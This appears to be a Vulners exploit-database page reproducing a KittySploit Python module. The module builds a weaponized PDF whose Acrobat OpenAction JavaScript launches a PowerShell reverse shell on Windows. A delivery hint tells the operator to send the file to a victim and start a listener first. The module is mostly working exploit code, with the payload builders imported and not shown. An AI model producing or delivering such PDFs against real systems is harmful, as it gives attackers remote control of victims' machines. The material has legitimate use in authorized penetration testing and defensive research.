Lucene search
+L

Adobe Acrobat JavaScript Reverse Shell PDF

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 7 Views

Adobe Acrobat JavaScript OpenAction RCE launches a reverse shell on Windows.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path
from typing import List

from kittysploit import *
from lib.pdf.mixins import PdfFileformatExploitMixin
from lib.pdf.rce import (
    build_acrobat_js_reverse_shell,
    create_acrobat_openaction_rce,
)


class Module(Exploit, PdfFileformatExploitMixin):
    __info__ = {
        "name": "Adobe Acrobat JavaScript Reverse Shell PDF",
        "description": (
            "Generate a PDF with Acrobat OpenAction JavaScript that launches a "
            "framework-generated reverse-shell payload (PowerShell by default). "
            "By default only the PDF is generated (disablePayloadHandler=true); "
            "set disablePayloadHandler false to listen immediately after generation. "
            "Requires Adobe Acrobat/Reader with JavaScript enabled on Windows. "
            "Authorized client-side testing only."
        ),
        "author": ["KittySploit Team"],
        "cve": [],
        "references": [
            "https://portswigger.net/research/portable-data-exfiltration",
        ],
        "tags": ["pdf", "acrobat", "javascript", "fileformat", "rce", "windows", "authorized-only"],
        "platform": Platform.WINDOWS,
        "arch": Arch.OTHER,
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "arch": Arch.OTHER,
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.SINGLE,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 0,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths"],
            "cost": 1.0,
            "noise": 0.4,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": [],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [{"capability": "rce", "from_detail": ""}],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    MODULE_TITLE = "Acrobat JavaScript reverse shell PDF"
    OUTPUT_BASENAME = "acrobat_reverse_shell.pdf"

    def check(self):
        return {
            "vulnerable": True,
            "reason": "File-format exploit: delivers weaponized PDF for manual delivery",
            "confidence": "medium",
        }

    def _generate(self, output_path: Path) -> List[Path]:
        cmd = str(self.payload or "").strip()
        if not cmd:
            raise ValueError("No payload generated — set PAYLOAD and LHOST/LPORT first")
        js = build_acrobat_js_reverse_shell(cmd)
        create_acrobat_openaction_rce(output_path, js)
        return [output_path]

    def run(self):
        return self.run_pdf_fileformat(
            self._generate,
            delivery_hint=(
                "Deliver the PDF to a victim opening it in Adobe Acrobat/Reader "
                "(JavaScript enabled). Start a listener matching LHOST/LPORT before delivery."
            ),
        )

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 12:37Current
5.9Medium risk
Vulners AI Score5.9
7